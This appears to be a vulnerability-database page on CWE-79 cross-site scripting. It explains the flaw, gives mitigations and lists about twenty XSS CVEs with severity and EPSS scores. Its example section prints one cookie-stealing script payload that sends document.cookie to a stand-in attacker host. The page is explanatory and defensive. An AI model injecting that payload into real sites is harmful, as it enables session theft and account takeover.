Fallos del tipo CWE-79

30.190 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-34381MEDIUMWordPress PropertyHive plugin <= 2.0.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46972MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-40681MEDIUMCross-Site Scripting (XSS) in xCally OmnichannelEPSS 0.3%CVE-2025-46915MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-63527HIGHA cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System 1.0 within the updateprofile.php and hprofile.php compEPSS 0.3%CVE-2025-14962MEDIUMcode-projects Simple Stock System chatuser.php cross site scriptingEPSS 0.3%CVE-2025-23689HIGHWordPress Blogger Image Import plugin <= 2.1 - CSRF to Stored XSS vulnerabilityEPSS 0.3%CVE-2023-52194MEDIUMWordPress oEmbed Gist Plugin <= 4.9.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2026-26724HIGHCross Site Scripting vulnerability in Key Systems Inc Global Facilities Management Software v. 20230721a allows a remote attacker to executeEPSS 0.3%CVE-2024-12495MEDIUMBootstrap Blocks for WP Editor v2 <= 2.5.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2022-45448LOWCross-site Scripting in M4 PDF plugin for Prestashop sitesEPSS 0.3%CVE-2025-22314HIGHWordPress Food Store plugin <= 1.5.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-51374MEDIUMWordPress ZeroBounce Email Verification & Validation Plugin <= 1.0.11 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-40725MEDIUMReflected Cross-Site Scripting (XSS) in Azon DominatorEPSS 0.3%CVE-2025-26917HIGHWordPress WP Templata plugin <= 1.0.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2021-47919MEDIUMSimple CMS 2.1 Non-Persistent Cross-Site Scripting via Preview ParameterEPSS 0.3%CVE-2024-51873MEDIUMWordPress Multi-day Booking Calendar plugin <= 1.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-8540MEDIUMPortabilis i-Educar public_municipio_cad.php cross site scriptingEPSS 0.3%CVE-2025-46977MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-51897MEDIUMWordPress News Articles plugin <= 1.0.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%